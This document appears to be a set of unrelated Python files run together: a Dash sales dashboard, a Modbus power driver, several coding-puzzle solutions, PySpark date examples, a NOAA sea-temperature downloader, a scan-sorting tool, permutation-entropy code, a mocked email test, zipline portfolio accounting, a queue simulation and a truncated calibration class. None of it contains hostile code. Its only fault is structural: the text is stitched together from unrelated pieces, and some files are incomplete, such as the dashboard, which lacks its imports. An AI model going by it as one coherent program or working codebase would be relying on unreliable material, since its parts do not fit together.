import dataset as myds

KPI1 = myds.KPI1
KPI2 = myds.KPI2

KPI31 = myds.KPI31 # Product top 1 - name - 2019
KPI32 = myds.KPI32 # Product top 1 - units - 2019

KPI41 = myds.KPI41 # Product top 1 - name - 2019
KPI42 = myds.KPI42 # Product top 1 - units - 2019

# data graphOne - bar -
xg1 = myds.xg1 # return product names
yg1 = myds.yg1 # return product units

# data graphTwo
xg2 = myds.xg2 # return months 2019 jan to dec
yg2 = myds.yg2 # return

# data to line sales person
# data to card best sales person
nomeV = myds.nomeV
pmvStr = f'Produto mais vendido: {myds.pmv.index[0]} - {myds.pmv.QTDE[0]} units'
mfStr = f'Maior faturamento: US${myds.mf.TOTAL.values}. Ref.: {myds.mf.index[0]}/2019 '
# data to sales numbers
xg3 = myds.tvpmpv.index
yg3 = myds.tvpmpv.values

#         success     primary    info     warning     danger
cores = ['#00bc8c', '#28415b', '#217dbb','#c87f0a', '#dc2c1a']

app = dash.Dash(__name__, external_stylesheets=['https://bootswatch.com/3/darkly/bootstrap.css'])

app.layout = html.Div([
    # row 1 - linha 1
    html.Div([
        html.H1('DASHBOARD - VENDAS - 2019')
    ], className='col-xs-12'),

    # row 2 - linha 2 - creating filter
    html.Div([
        html.Nav([
            html.Div([
                html.P('Filtro: ', className='navbar-brand')
            ], className='navbar-header'),
            html.Div([
                html.Label('Produto'),
                html.Select([
                    html.Option('A', value='A'),
                    html.Option('B', value='B')
                ], className='form-control')
            ], className='col-xs-2'),
            html.Div([
                html.Label('Cat. Produto'),
                html.Select([
                    html.Option('A', value='A'),
                    html.Option('B', value='B', selected='selected')
                ], className='form-control')
            ], className='col-xs-2'),
            html.Div([
                html.Label('Vendedor'),
                html.Select([
                    html.Option('Ana', value='A'),
                    html.Option('Beatriz', value='B', selected='selected'),
                    html.Option('Carlos', value='C', selected='selected')
                ], className='form-control')
            ], className='col-xs-2'),
            html.Div([
                html.Br(),
                html.Button('Filtrar', type='submit', className='btn btn-default')
            ], className='col-xs-2'),

        ], className='nav navbar-default'),
    ], className='col-xs-12 well'),

    # row 3 - linha 3 - showing 4 kpis
    html.Div([
        # indicador 1 - kpi 1
        html.Div([
            html.Div([
                html.Div([
                    html.H4('Qtde. Vendida', className='panel-title text-center')
                ], className='panel-heading'),
                html.Div([
                    html.H1(KPI1, className='text-center')
                ])
            ], className='panel panel-warning')
        ], className='col-xs-3'),
        # indicador 2 - kpi 2
        html.Div([
            html.Div([
                html.Div([
                    html.H4('Total  Vendido', className='panel-title text-center')
                ], className='panel-heading'),
                html.Div([
                    html.H1(KPI2, className='text-center')
                ])
            ], className='panel panel-success')
        ], className='col-xs-3'),
        # indicador 3 - kpi 3
        html.Div([
            html.Div([
                html.Div([
                    html.H4('Melhor Produto', className='panel-title text-center')
                ], className='panel-heading'),
                html.Div([
                    html.H1(f' {KPI31} - {KPI32} units', className='text-center')
                ])
            ], className='panel panel-info')
        ], className='col-xs-3'),
        # indicador 4 - kpi 4
        html.Div([
            html.Div([
                html.Div([
                    html.H4('Produto em alerta', className='panel-title text-center')
                ], className='panel-heading'),
                html.Div([
                    html.H1(f'{KPI41} - {KPI42} units', className='text-center')
                ])
            ], className='panel panel-info')
        ], className='col-xs-3'),

    ], className='col-xs-12 well'),

    # row 4 - linha 4 - graphs top 5 and sales year 2019
    html.Div([
        # graph Bar
        html.Div([
            dcc.Graph(
                id='graphOne',
                figure={
                    'data': [{
                        'x': xg1, 'y': yg1, 'type': 'bar',
                        'marker': {'color': cores},
                        'name': 'Produtos'
                    }],
                    'layout': {
                        'title': 'Top 5 Products - 2019',
                        'showlegend': False,
                        'showgrid': False,
                        # background transparent
                        'plot_bgcolor': 'rgba(0,0,0,0)',
                        'paper_bgcolor': 'rgba(0,0,0,0)',
                        'font': {'color': 'white'}
                    }
                }
            )
        ], className='col-xs-4'),

        # graph Lines
        html.Div([
            dcc.Graph(
                id='graphTwo',
                figure={
                    'data': [{
                        'x': xg2, 'y': yg2, 'type': 'line',
                        'marker': {'color': cores[3]},
                        'name': 'Vendas'
                    }],
                    'layout': {
                        'title': 'Vendas - Faturamento 2019',
                        'showlegend': True,
                        'xaxis': {'showgrid': False},
                        'yaxis': {'showgrid': True},
                        # background transparent
                        'plot_bgcolor': 'rgba(0,0,0,0)',
                        'paper_bgcolor': 'rgba(0,0,0,0)',
                        'font': {'color': 'white'}
                    }
                }
            )
        ], className='col-xs-8'),

    ], className='col-xs-12 well'),

    # row 5 - linha 5 - best sales person
    html.Div([
        # card best salesperson - melhor vendedor
        html.Div([
            html.H4('DESTAQUE 2019', className='text-center'),
            html.Br(),
            html.Img(src='https://www.fiscalti.com.br/wp-content/uploads/2020/05/default-user-image-365x365.png',
                     width='70px', height='70px'),
            html.H2(f'Vendedor: {nomeV}'),
            html.H5(pmvStr),
            html.H5(mfStr)

        ], className='col-xs-4 jumbotron'),
        html.Div([
            html.Div([
                dcc.Graph(
                    id='graphThree',
                    figure={
                        'data': [{
                            'x': xg3, 'y': yg3, 'type': 'line',
                            'marker': {'color': cores[0]},
                            'name': 'Vendas'
                        }],
                        'layout': {
                            'title': f'Vendedor {nomeV} - Faturamento 2019 ',
                            'showlegend': True,
                            'xaxis': {'showgrid': False},
                            'yaxis': {'showgrid': True},
                            # background transparent
                            'plot_bgcolor': 'rgba(0,0,0,0)',
                            'paper_bgcolor': 'rgba(0,0,0,0)',
                            'font': {'color': 'white'}
                        }
                    }
                )
            ], className='col-xs-8'),
        ])
    ], className='col-xs-12 well'),

], className='col-xs-12')

# this code will be in my github (description this video)
# thankyou!!!!

if __name__ == '__main__':
    app.run_server(debug=True)


#!/usr/bin/env python3

from importlib import import_module

import time
import attr

from labgrid.driver import Driver
from labgrid.factory import target_factory
from labgrid.protocol import PowerProtocol
from labgrid.step import step

@target_factory.reg_driver
@attr.s(eq=False)
class ModbusRTUPowerDriver(Driver, PowerProtocol):
    bindings = {"resource": "ModbusRTU", }

    downtime = attr.ib(default=1.0, validator=attr.validators.instance_of(float))
    delay = attr.ib(default=0.5, validator=attr.validators.instance_of(float))
    coil = attr.ib(default=0, validator=attr.validators.instance_of(int))

    def __attrs_post_init__(self):
        super().__attrs_post_init__()
        self._modbus = import_module('minimalmodbus')
        self.instrument = None

    def on_activate(self):
        self.instrument = self._modbus.Instrument(
            self.resource.port,
            self.resource.address,
            debug=False)

        self.instrument.serial.baudrate = self.resource.speed
        self.instrument.serial.timeout = self.resource.timeout
        self.instrument.mode = self._modbus.MODE_RTU
        self.instrument.clear_buffers_before_each_transaction = True

    def on_deactivate(self):
        self.instrument = None

    @Driver.check_active
    @step()
    def on(self):
        self.instrument.write_bit(self.coil, 1, 5)
        time.sleep(self.delay)

    @Driver.check_active
    @step()
    def off(self):
        self.instrument.write_bit(self.coil, 0, 5)
        time.sleep(self.delay)

    @Driver.check_active
    @step()
    def cycle(self):
        self.off()
        time.sleep(self.downtime)
        self.on()

    @Driver.check_active
    @step()
    def get(self):
        return self.instrument.read_bit(self.coil, 1)


from queue import PriorityQueue
from sys import stdin

N = int(stdin.readline())

que = PriorityQueue()

for _ in range(N):
    que.put(int(stdin.readline()))

result = 0

if N==1:
    print(0)
else:
    while not que.empty():
        a = que.get()
        b = que.get()
        result += a+b

        if que.empty():
            break

        que.put(a+b)

    print(result)

백준/Gold/1715. 카드 정렬하기/카드 정렬하기.py


'''
Given an array of integers where every integer occurs three times except for one integer, which only occurs once, find and return the non-duplicated integer.

For example, given [6, 1, 3, 3, 3, 6, 6], return 1. Given [13, 19, 13, 13], return 19.

Do this in O(N) time and O(1) space.
'''
'''
not sure how to make it O(1) space, but here's my attempt with O(n)
bitwise operator xor would work with duplicates but not sure how to deal with triples
'''

def noTriples(array):
    dupes = {}
    for i in array:
        if i in dupes:
            dupes[i] += 1
        else:
            dupes[i] = 1
    for i in dupes:
        if dupes[i] == 1:
            return i

print(noTriples([6,1,3,3,3,6,6]))
print(noTriples([13,19,13,13]))


# importing required libraries
import json
from urllib.request import urlopen
name=input("Please Enter your Name : ")
# create an free account in www.gender-api.com
# account activation will take some time...
# after activation get the authentication key and use it in mykey
mykey="paste your key here"
#url to open and get the response
url="https://gender-api.com/get?name="
#concatinating the name you entered and your api key..
try:
   url=url+f"{name}&key={mykey}"
#opening the final url...
   respose=urlopen(url)
#decoding the data to json format
   decode=respose.read().decode("utf-8")
   data=json.loads(decode)
# printing the gender of the name you entered...
   print("Gender : "+data["gender"])
except(Exception):
    print("please enter the valid name..")


from pyspark.sql import *
from pyspark.sql.functions import *
from pyspark.sql.types import *
#set timezone
spark = SparkSession.builder.master("local").appName("test").config("spark.sql.session.timeZone","IST").\
    getOrCreate()
data="E:\\Datasets\\donations.csv"
df=spark.read.format('csv').options(header='true',inferSchema='true').load(data)
#spark default date format==yyyy-MM-dd
#convert string column to date column using to_date()
res=df.withColumn("today",current_date()).\
    withColumn("dt",to_date(col("dt"),"d-M-yyyy"))

#convert date to specified format
res1=res.withColumn("dt",date_format(col("dt"),"yyyy-MM-dd"))
res1.printSchema()
res1.show()

#calculate difference between 2 dates and add/substract days from date
res1=res.withColumn("daydiff",datediff(col("today"),col("dt"))).\
    withColumn("monthdiff",months_between(col("today"),col("dt"))).\
    withColumn("newdate1",date_add(col("today"),20)).\
    withColumn("newdate2",date_sub(col("today"),10)).\
    withColumn("monthadd",add_months(col("today"),2))
res1.show()

res2=res.withColumn("lstday",last_day(col("today"))).\
    withColumn("nextFri",next_day(col("today"),'Fri')).\
    withColumn("yyy",year(col("today"))).\
    withColumn("dayofm",dayofmonth(col("today"))).\
    withColumn("dayofwk",dayofweek(col("today"))).\
    withColumn("dayofyr",dayofyear(col("today"))).\
    withColumn("wkofyear",weekofyear(col("today"))).\
    withColumn("quarter",quarter(col("today"))).\
    withColumn("truncate",date_trunc("month",col("today").cast(DateType())))
res2.show()

#timestamp functions
#unix_timestamp()--seconds since epoch(1971)
#to_timestamp() or from_unixtime()--converts epoch time(seconds) to date
#to_utc_timestamp()---converts 1 timezone to another timezone ex..converts indian time to usa time
res3=res.withColumn("timestmp",current_timestamp()).\
    withColumn("epochSeconds",unix_timestamp()).\
    withColumn("epoch",unix_timestamp(col("today"))).\
    withColumn("newdate",to_timestamp(col("epochSeconds"))).\
    withColumn("ustime",to_utc_timestamp(col("timestmp"),"EST"))
res3.show()

#display last friday date of month
res4=res.withColumn("fridate",next_day((last_day(col("today"))-7),'Fri'))
res4.show()


import wget
import os

str1 = "https://www.ncei.noaa.gov/data/sea-surface-temperature-optimum-interpolation/v2.1/access/avhrr/"
str2 = "oisst-avhrr-v02r01."
str3 = ".nc"
for year in range(1981, 1982):
    for month in range(9, 11):
        for day in range(15, 20):
            url = str1 + "{}".format(year) + "{:02d}".format(month) + "/" + str2 + "{}".format(
                year)+"{:02d}".format(month) + "{:02d}".format(day) + str3
            path1 = '../avhrr-only'
            file_path = os.path.join(
                path1, "{}".format(year), "{:02d}".format(month))
            if not os.path.exists(file_path):
                os.makedirs(file_path)

            try:
                wget.download(url, out=file_path)
            except:
                print("File:" + str2 + "{0}{1:02d}{2:02d}".format(year,
                      month, day) + str3 + " does not exist")


import os
import re
import shutil
import signal
import sys
import textract
from tempfile import mkstemp
from pathlib import Path
from prompt_toolkit import prompt
from prompt_toolkit.validation import Validator, ValidationError
from prompt_toolkit.completion import WordCompleter

TestCompleter = WordCompleter(['aa', 'zz', 'hush little baby'])

srcpath = Path('/home/gbirke/SynologyDrive/scans')
dest_path = Path('/home/gbirke/SynologyDrive/Dokumente')
preview_link = Path('/tmp/sort_scan_preview.pdf')

destinations = [d.stem for d in dest_path.glob('*') if d.is_dir()]

def create_preview_copy(preview_file):
    _, tmp_name = mkstemp()
    shutil.copy(preview_file, tmp_name)
    os.rename(tmp_name, preview_link)

class DestinationValidator(Validator):
    def validate(self, document):
        text = document.text.strip()
        if text in destinations:
            return
        raise ValidationError(message='Destination not valid')

DestinationList = WordCompleter(destinations)

def signal_handler(sig, frame):
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

date_match = re.compile(r'^(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})')
normalize_whitespace = re.compile(r'\s+')

for srcfile in srcpath.glob('*.pdf'):
    print('{0}'.format(srcfile))
    create_preview_copy(srcfile)
    text = textract.process(srcfile)
    raw_wordlist = normalize_whitespace.sub(' ', str(text, 'utf-8')).split(' ')
    unique_words=set([w for w in raw_wordlist if len(w) > 2])
    NameCompleter = WordCompleter(list(unique_words))
    newname = prompt('File name: ', completer=NameCompleter)

    newname = newname.strip()
    split_date_format = date_match.sub(r"\1_\2_\3_\4_\5_\6", srcfile.stem)
    full_name = "{0} {1}{2}".format(split_date_format, newname, srcfile.suffix)

    destination = prompt('Destination: ',
        validator=DestinationValidator(),
        completer=DestinationList)

    final_destination = dest_path.joinpath(destination, full_name)
    print('Moving {0} to {1}'.format(srcfile, final_destination))
    os.rename(srcfile, final_destination)


#https://leetcode.com/problems/monotonic-array/

class Solution(object):
    def isMonotonic(self, A):
        """
        :type A: List[int]
        :rtype: bool
        """
        parity = None
        for i in range(0,len(A)-1):
            if parity is None:
                parity = self.get_parity(A, i)
            else:
                    new_parity = self.get_parity(A,i)
                    if new_parity is not None and new_parity!=parity:
                        return False
        return True

    def get_parity(self, A, i):
        if A[i] < A[i + 1]:
            return True
        if A[i] > A[i + 1]:
            return False

s = Solution()
b=s.isMonotonic([])
print(b)


# -*- coding: utf-8 -*-
"""
Created on Sat Dec 19 10:54:58 2020

@author: crtom
"""

import numpy as np

def var1():
    # build a list of touples from two numpy arrays
    x = np.linspace(0, 500, 6)
    y = np.linspace(0, 500, 6)

    z = zip(x,y)
    print(list(z))

def var2():
    # create a list of touple positions
    lst = []
    for x in range(0, 600, 100):
        for y in range(0, 600, 100):
            lst.append((x,y))

    print(lst)
    print('first item:',lst[0])
    print('last item:',lst[35])

# create a dictionary of grid
def var3():

    thisdict = {
      "position_vertice": (0,0),
      "position_card": (10,10),
      "surface": 1964
    }

    print(thisdict["position_vertice"])
    print(thisdict["position_vertice"])
    print(thisdict["surface"])

def var4():
    pass

#var3()


import itertools
import numpy as np
import math

class Permutation:
    def __init__(self,
                 time_series: np.ndarray,
                 embedding_order: int = 3,
                 time_delay: int = 1
                 ):
        self.x = time_series
        self.order = embedding_order
        self.delay = time_delay
        self.embed = self._gen_embed()
        self.all_perms = list(itertools.permutations(np.arange(0, embedding_order), embedding_order))
        self.frqs = self._gen_frq()

    def _gen_embed(self):

        if self.x.ndim == 1:
            # pass 1D array

            y = np.zeros((self.order, self.x.shape[-1] - (self.order - 1) * self.delay))
            for i in range(self.order):
                y[i] = self.x[(i * self.delay):(i * self.delay + y.shape[1])]
            return y.T

        else:

            y = []

            embed_signal_length = self.x.shape[-1] - (self.order - 1) * self.delay

            indices = [[(i * self.delay), (i * self.delay + embed_signal_length)] for i in range(self.order)]

            for i in range(self.order):
                # loop with the order
                temp = self.x[:, indices[i][0]: indices[i][1]].reshape(-1, embed_signal_length, 1)
                # slicing the signal with the indices of each order (vectorized operation)

                y.append(temp)
                # append the sliced signal to list

            y = np.concatenate(y, axis=-1)
            # print(np.argpartition(y, kth=3, axis=1))
            # y = np.apply_along_axis(np.argsort, 2, y )
            y = np.argpartition(y, kth=1, axis=2)
            return y

    def _gen_frq(self):
        num_per_permutation = np.zeros((self.x.shape[0], len(self.all_perms)))
        for i in range(self.x.shape[0]):
            for j, x_i in enumerate(self.embed[i, ...]):
                for k, perm_k in enumerate(self.all_perms):
                    if tuple(x_i) == perm_k:
                        num_per_permutation[i, k] += 1
        return num_per_permutation

    def gen_prob(self):
        return self.frqs / np.sum(self.frqs, axis=1)[0]

    def entropy(self, x: np.ndarray, base=2):
        """Returns x log_b x if x is positive, 0 if x == 0, and np.nan
        otherwise. This handles the case when the power spectrum density
        takes any zero value.
        """
        xlogx = np.zeros(x.shape)
        xlogx[x < 0] = np.nan
        valid = x > 0
        xlogx[valid] = x[valid] * np.log(x[valid]) / np.log(base)

        return -1 * xlogx.sum(axis=1) / np.log2(math.factorial(self.order))

# a = np.arange(1, 2100)
# np.random.shuffle(a)
# np.random.shuffle(a)
#
# b = np.arange(1, 2100)
# b = b[::-1]
# # np.random.shuffle(b)
# c = np.arange(1, 2100)
# np.random.shuffle(c)
# x = np.array([a, b[::-1],b, c, c])
#
# order = 3
# perm = Permutation(x, order, 1)
# print(x)
# print(perm.embed)
# print(perm.all_perms)
# print(perm._gen_frq())
# print(perm.gen_prob())
# print(perm.entropy(perm.gen_prob()))
#
# print(np.partition([4,3,2,1],0))
# print(np.partition([4,3,2,1],1))
# print(np.partition([4,3,2,1],2))
# print(np.partition([4,3,2,1],3))

# print(np.array([4,3,2,1])[np.argpartition([4,3,2,1], kth=order - 1)])

#
#
# order = 3
# perms = list(itertools.permutations(np.arange(0, order), order))
# for k, prm_i in enumerate(perms):
#     for j, prm_j in enumerate(perms):
#         if prm_i[0] == prm_j[0] == 0:
#             # for p in range(1,len(prm_j)):
#             if all(prm_j[i] <= prm_j[i + 1] for i in range(len(prm_j) - 1)):
#                 # if prm_i[-1] == order-1:
#                 fig, axs = plt.subplots(2)
#                 plt.figure(j + k + 1)
#                 axs[0].plot(prm_i, '.-', c='r')
#                 axs[1].plot(prm_j, '.-', c='b')
#
#         elif prm_i[0] == prm_j[0] == order - 1:
#             # for p in range(1,len(prm_j)):
#             if all(prm_i[i] >= prm_i[i + 1] for i in range(len(prm_j) - 1)):
#                 fig, axs = plt.subplots(2)
#                 plt.figure(j + k + 1000)
#                 axs[0].plot(prm_i, '.-', c='r')
#                 axs[1].plot(prm_j, '.-', c='b')
#
# plt.show()

def micro_channels(order=3):
    channels = []
    perms = list(itertools.permutations(np.arange(0, order), order))
    for k, prm_i in enumerate(perms):
        for j, prm_j in enumerate(perms):
            if prm_i[0] == prm_j[0] == 0:
                if all(prm_j[i] <= prm_j[i + 1] for i in range(len(prm_j) - 1)):
                    channels.append([prm_i, prm_j])
            elif prm_i[0] == prm_j[0] == order - 1:
                if all(prm_i[i] >= prm_i[i + 1] for i in range(len(prm_j) - 1)):
                    channels.append([prm_i, prm_j])
    return channels

import matplotlib.pyplot as plt

chans = micro_channels(4)
for i in range(1,7):
    print(micro_channels(i))


from unittest.mock import Mock

import pytest

from libpythonprodaanrod.spam.main import EnviadorDeSpam
from libpythonprodaanrod.spam.modelos import Usuario

@pytest.mark.parametrize(
    'usuarios',
    [
        [
            Usuario(nome='Danilo', email='daanrod93@gmail.com'),
            Usuario(nome='Joyce', email='daanrod93@gmail.com')
        ],
        [
            Usuario(nome='Danilo', email='daanrod93@gmail.com')
        ]
    ]
)
def test_qde_de_spam(sessao, usuarios):
    for usuario in usuarios:
        sessao.salvar(usuario)
    enviador = Mock()
    enviador_de_spam = EnviadorDeSpam(sessao, enviador)
    enviador_de_spam.enviar_emails(
        'daanrod93@gmail.com',
        'Vambora!',
        'Conseguimos primo'
    )
    assert len(usuarios) == enviador.enviar.call_count

def test_parametros_de_spam(sessao):
    usuario = Usuario(nome='Danilo', email='daanrod93@gmail.com')
    sessao.salvar(usuario)
    enviador = Mock()
    enviador_de_spam = EnviadorDeSpam(sessao, enviador)
    enviador_de_spam.enviar_emails(
        'sharp.aedes@gmail.com',
        'Vambora!',
        'Conseguimos primo'
    )
    enviador.enviar.assert_called_once_with(
        'sharp.aedes@gmail.com',
        'daanrod93@gmail.com',
        'Vambora!',
        'Conseguimos primo'
    )


from __future__ import division
import logbook

import numpy as np
import pandas as pd
from collections import Counter, OrderedDict, defaultdict

from six import iteritems, itervalues

import zipline.protocol as zp
from . position import positiondict

log = logbook.Logger('Performance')

class PerformancePeriod(object):

    def __init__(
            self,
            starting_cash,
            period_open=None,
            period_close=None,
            keep_transactions=True,
            keep_orders=False,
            serialize_positions=True):

        self.period_open = period_open
        self.period_close = period_close

        self.ending_value = 0.0
        self.period_cash_flow = 0.0
        self.pnl = 0.0
        # sid => position object
        self.positions = positiondict()
        self.ending_cash = starting_cash
        # rollover initializes a number of self's attributes:
        self.rollover()
        self.keep_transactions = keep_transactions
        self.keep_orders = keep_orders

        # Arrays for quick calculations of positions value
        self._position_amounts = pd.Series()
        self._position_last_sale_prices = pd.Series()

        self.calculate_performance()

        # An object to recycle via assigning new values
        # when returning portfolio information.
        # So as not to avoid creating a new object for each event
        self._portfolio_store = zp.Portfolio()
        self._positions_store = zp.Positions()
        self.serialize_positions = serialize_positions

    def rollover(self):
        self.starting_value = self.ending_value
        self.starting_cash = self.ending_cash
        self.period_cash_flow = 0.0
        self.pnl = 0.0
        self.processed_transactions = defaultdict(list)
        self.orders_by_modified = defaultdict(OrderedDict)
        self.orders_by_id = OrderedDict()

    def ensure_position_index(self, sid):
        try:
            self._position_amounts[sid]
            self._position_last_sale_prices[sid]
        except (KeyError, IndexError):
            self._position_amounts = \
                self._position_amounts.append(pd.Series({sid: 0.0}))
            self._position_last_sale_prices = \
                self._position_last_sale_prices.append(pd.Series({sid: 0.0}))

    def add_dividend(self, div):
        # The dividend is received on midnight of the dividend
        # declared date. We calculate the dividends based on the amount of
        # stock owned on midnight of the ex dividend date. However, the cash
        # is not dispersed until the payment date, which is
        # included in the event.
        self.positions[div.sid].add_dividend(div)

    def handle_split(self, split):
        if split.sid in self.positions:
            # Make the position object handle the split. It returns the
            # leftover cash from a fractional share, if there is any.
            position = self.positions[split.sid]
            leftover_cash = position.handle_split(split)
            self._position_amounts[split.sid] = position.amount
            self._position_last_sale_prices[split.sid] = \
                position.last_sale_price

            if leftover_cash > 0:
                self.handle_cash_payment(leftover_cash)

    def update_dividends(self, todays_date):
        """
        Check the payment date and ex date against today's date
        to determine if we are owed a dividend payment or if the
        payment has been disbursed.
        """
        cash_payments = 0.0
        stock_payments = Counter()  # maps sid to number of shares paid
        for sid, pos in iteritems(self.positions):
            cash_payment, stock_payment = pos.update_dividends(todays_date)
            cash_payments += cash_payment
            stock_payments.update(stock_payment)

        for stock, payment in iteritems(stock_payments):
            position = self.positions[stock]
            position.amount += payment
            self.ensure_position_index(stock)
            self._position_amounts[stock] = position.amount
            self._position_last_sale_prices[stock] = \
                position.last_sale_price

        # credit our cash balance with the dividend payments, or
        # if we are short, debit our cash balance with the
        # payments.
        # debit our cumulative cash spent with the dividend
        # payments, or credit our cumulative cash spent if we are
        # short the stock.
        self.handle_cash_payment(cash_payments)

        # recalculate performance, including the dividend
        # payments
        self.calculate_performance()

    def handle_cash_payment(self, payment_amount):
        self.adjust_cash(payment_amount)

    def handle_commission(self, commission):
        # Deduct from our total cash pool.
        self.adjust_cash(-commission.cost)
        # Adjust the cost basis of the stock if we own it
        if commission.sid in self.positions:
            self.positions[commission.sid].\
                adjust_commission_cost_basis(commission)

    def adjust_cash(self, amount):
        self.period_cash_flow += amount

    def calculate_performance(self):
        self.ending_value = self.calculate_positions_value()

        total_at_start = self.starting_cash + self.starting_value
        self.ending_cash = self.starting_cash + self.period_cash_flow
        total_at_end = self.ending_cash + self.ending_value

        self.pnl = total_at_end - total_at_start
        if total_at_start != 0:
            self.returns = self.pnl / total_at_start
        else:
            self.returns = 0.0

    def record_order(self, order):
        if self.keep_orders:
            dt_orders = self.orders_by_modified[order.dt]
            if order.id in dt_orders:
                del dt_orders[order.id]
            dt_orders[order.id] = order
            # to preserve the order of the orders by modified date
            # we delete and add back. (ordered dictionary is sorted by
            # first insertion date).
            if order.id in self.orders_by_id:
                del self.orders_by_id[order.id]
            self.orders_by_id[order.id] = order

    def update_position(self, sid, amount=None, last_sale_price=None,
                        last_sale_date=None, cost_basis=None):
        pos = self.positions[sid]
        self.ensure_position_index(sid)

        if amount is not None:
            pos.amount = amount
            self._position_amounts[sid] = amount
        if last_sale_price is not None:
            pos.last_sale_price = last_sale_price
            self._position_last_sale_prices[sid] = last_sale_price
        if last_sale_date is not None:
            pos.last_sale_date = last_sale_date
        if cost_basis is not None:
            pos.cost_basis = cost_basis

    def execute_transaction(self, txn):
        # Update Position
        # ----------------
        position = self.positions[txn.sid]
        position.update(txn)
        self.ensure_position_index(txn.sid)
        self._position_amounts[txn.sid] = position.amount

        self.period_cash_flow -= txn.price * txn.amount

        if self.keep_transactions:
            self.processed_transactions[txn.dt].append(txn)

    def calculate_positions_value(self):
        return np.dot(self._position_amounts, self._position_last_sale_prices)

    def update_last_sale(self, event):
        if event.sid not in self.positions:
            return

        if event.type != zp.DATASOURCE_TYPE.TRADE:
            return

        if not pd.isnull(event.price):
            # isnan check will keep the last price if its not present
            self.update_position(event.sid, last_sale_price=event.price,
                                 last_sale_date=event.dt)

    def __core_dict(self):
        rval = {
            'ending_value': self.ending_value,
            # this field is renamed to capital_used for backward
            # compatibility.
            'capital_used': self.period_cash_flow,
            'starting_value': self.starting_value,
            'starting_cash': self.starting_cash,
            'ending_cash': self.ending_cash,
            'portfolio_value': self.ending_cash + self.ending_value,
            'pnl': self.pnl,
            'returns': self.returns,
            'period_open': self.period_open,
            'period_close': self.period_close
        }

        return rval

    def to_dict(self, dt=None):
        """
        Creates a dictionary representing the state of this performance
        period. See header comments for a detailed description.

        Kwargs:
            dt (datetime): If present, only return transactions for the dt.
        """
        rval = self.__core_dict()

        if self.serialize_positions:
            positions = self.get_positions_list()
            rval['positions'] = positions

        # we want the key to be absent, not just empty
        if self.keep_transactions:
            if dt:
                # Only include transactions for given dt
                transactions = [x.to_dict()
                                for x in self.processed_transactions[dt]]
            else:
                transactions = \
                    [y.to_dict()
                     for x in itervalues(self.processed_transactions)
                     for y in x]
            rval['transactions'] = transactions

        if self.keep_orders:
            if dt:
                # only include orders modified as of the given dt.
                orders = [x.to_dict()
                          for x in itervalues(self.orders_by_modified[dt])]
            else:
                orders = [x.to_dict() for x in itervalues(self.orders_by_id)]
            rval['orders'] = orders

        return rval

    def as_portfolio(self):
        """
        The purpose of this method is to provide a portfolio
        object to algorithms running inside the same trading
        client. The data needed is captured raw in a
        PerformancePeriod, and in this method we rename some
        fields for usability and remove extraneous fields.
        """
        # Recycles containing objects' Portfolio object
        # which is used for returning values.
        # as_portfolio is called in an inner loop,
        # so repeated object creation becomes too expensive
        portfolio = self._portfolio_store
        # maintaining the old name for the portfolio field for
        # backward compatibility
        portfolio.capital_used = self.period_cash_flow
        portfolio.starting_cash = self.starting_cash
        portfolio.portfolio_value = self.ending_cash + self.ending_value
        portfolio.pnl = self.pnl
        portfolio.returns = self.returns
        portfolio.cash = self.ending_cash
        portfolio.start_date = self.period_open
        portfolio.positions = self.get_positions()
        portfolio.positions_value = self.ending_value
        return portfolio

    def get_positions(self):

        positions = self._positions_store

        for sid, pos in iteritems(self.positions):

            if pos.amount == 0:
                # Clear out the position if it has become empty since the last
                # time get_positions was called.  Catching the KeyError is
                # faster than checking `if sid in positions`, and this can be
                # potentially called in a tight inner loop.
                try:
                    del positions[sid]
                except KeyError:
                    pass
                continue

            # Note that this will create a position if we don't currently have
            # an entry
            position = positions[sid]
            position.amount = pos.amount
            position.cost_basis = pos.cost_basis
            position.last_sale_price = pos.last_sale_price
        return positions

    def get_positions_list(self):
        positions = []
        for sid, pos in iteritems(self.positions):
            if pos.amount != 0:
                positions.append(pos.to_dict())
        return positions


import random
print("LAB PROJECT SIMULATION\n\n")
len=int(input("Enter Arrival time: "))

vet = [random.randint(10,80) for _ in range(len-1)]
vet1 = [random.randint(10,80) for _ in range(len)]
arrRandom=[0]+vet
arrivalTime =[0]+ [random.randint(1,10) for _ in range(len-1)]
print("Random number of TBA")

for i  in range(len):
    print(arrRandom[i],end=",")
print("\n\nRandom number of ST")
for i  in range(len):
    print(vet1[i],end=",")

print("\n\nTime Between Arrival Table:")
print("CustomerNumber |Random Digit | Time Between Arrival")

for line in range(0,len):
    print("\t|",line+1,"\t\t|",arrRandom[line],"\t\t|",arrivalTime[line])

print("\n\nService Time Table:")
print("CustomerNumber |Random Digit | Service Time")

serviceTime = [random.randint(1,10) for _ in range(len)]

for line in range(0,len):
    print("\t|",line+1,"\t\t|",vet1[line],"\t\t|",serviceTime[line])

print("\n\nSimulation Table:")
print("A\t|B\t|C\t|D\t|E\t|F\t|G\t|H\t|I")
print("Number\t|TBA\t|AT\t|ST\t|TSB\t|QT\t|TSE\t|WT\t|IT")

L=0
LatArraival=[]
serviceTimeEnd=[]
spendInSystem=[]
customerspend=[]
idleTime=[0]+[]
TimeServiceBegin=[]
waitQueue=[0]+[]

for line in range(0,len):

     L+=arrivalTime[line]
     LatArraival.append(L)
     serviceTimeEnd.append(LatArraival[line]+serviceTime[line])
     spendInSystem.append(serviceTimeEnd[line]-serviceTime[line])
     customerspend.append(serviceTimeEnd[line]-LatArraival[line])
for line in range(0,len):
     for line1 in range(1,len):
         if(serviceTimeEnd[line1-1]>LatArraival[line1]):
             waitQueue.append(serviceTimeEnd[line1-1]-LatArraival[line1])
             serviceTimeEnd.append(waitQueue[line1]+LatArraival[line1])
         else:
             waitQueue.append(0)

     TimeServiceBegin.append(LatArraival[line]+waitQueue[line])

for line in range(0,len):
     for line3 in range(1,len):
         idleTime.append(TimeServiceBegin[line3]-serviceTimeEnd[line3-1])

     print(line+1,"\t|",arrivalTime[line],"\t|",LatArraival[line],"\t|",serviceTime[line],"\t|",TimeServiceBegin[line],"\t|",waitQueue[line],"\t|",serviceTimeEnd[line],"\t|",customerspend[line],"\t|",idleTime[line])


from pathlib import Path
import numpy as np
import os.path
import math
import struct

class Calibration:

    def __init__(self, imageSize, fov):
        '''
        - imageSize: (img_width, img_height) | integer tuple
        - fov: field of view | integer
        '''
        self.imageSize = imageSize
        self.fov = fov

        self.Cu = self.imageSize[0]/2 # half screen width
        self.Cv = self.imageSize[1]/2  # half screen height

        self.hor_fov = Calibration.calcHorizontalFov(self.fov)
        self.fx = Calibration.calcFx(self.imageSize[0], self.hor_fov)

